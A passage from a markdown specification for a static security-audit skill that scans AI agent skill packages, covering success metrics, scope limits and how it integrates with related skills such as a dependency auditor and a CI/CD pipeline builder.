423| Audit verdict is WARN but team policy requires PASS | Default mode allows HIGH findings to produce WARN instead of FAIL | Enable `--strict` mode so any HIGH finding escalates the verdict to FAIL |
424
425## Success Criteria
426
427- **Zero CRITICAL findings on install**: Every skill deployed to production passes the audit with zero CRITICAL-severity findings.
428- **Audit coverage >= 100% of new skills**: No skill is installed or merged without a completed security audit report on file.
429- **False positive rate < 15%**: Fewer than 15% of flagged findings are confirmed false positives after manual review.
430- **Mean time to audit < 5 minutes per skill**: A standard skill package (under 20 files) completes the full scan in under 5 minutes.
431- **Remediation turnaround < 24 hours**: CRITICAL and HIGH findings are resolved or explicitly risk-accepted within one business day.
432- **CI gate adoption = 100% of skill repositories**: Every repository that hosts skills runs the audit workflow on every pull request.
433- **Re-audit compliance >= 95%**: At least 95% of skills are re-audited within one release cycle after any version update.
434
435## Scope & Limitations
436
437**This skill covers:**
438- Static pattern-based detection of dangerous code constructs in Python, Bash, JavaScript, and TypeScript files
439- Prompt injection scanning across all markdown files within a skill package
440- Dependency supply chain validation for `requirements.txt` and `package.json`
441- File structure boundary checks including symlinks, binaries, hidden files, and oversized payloads
442
443**This skill does NOT cover:**
444- Runtime or dynamic analysis — code is never executed during the audit (see `skill-tester` for runtime validation)
445- Live CVE database lookups or real-time vulnerability feeds (see `dependency-auditor` for active CVE scanning)
446- Infrastructure-level security controls such as network segmentation, container hardening, or cloud IAM policies (see `infrastructure-compliance-auditor` in ra-qm-team)
447- Compliance framework certification against ISO 27001, SOC 2, GDPR, or other regulatory standards (see `information-security-manager-iso27001` and `gdpr-dsgvo-expert` in ra-qm-team)
448
449## Integration Points
450
451| Skill | Integration | Data Flow |
452|-------|-------------|-----------|
453| `dependency-auditor` | Feed audit findings into live CVE scanning for flagged dependencies | Security audit report → dependency-auditor for real-time vulnerability lookup |
454| `ci-cd-pipeline-builder` | Embed the audit workflow as a required check in generated CI/CD pipelines | Pipeline template ← audit job YAML from this skill's CI/CD section |
455| `skill-tester` | Run dynamic runtime tests on skills that pass static analysis | PASS verdict from this skill → skill-tester for behavioral validation |
456| `infrastructure-compliance-auditor` | Extend auditing scope from skill-level to infrastructure-level security controls | Skill audit findings → infrastructure auditor for environment-wide posture review |
457| `env-secrets-manager` | Cross-reference credential harvesting findings with secrets management policy | Credential-access flags from audit → env-secrets-manager for policy verification |
458| `pr-review-expert` | Surface audit findings as inline PR review comments on flagged lines | Audit report line references → PR review annotations for developer visibility |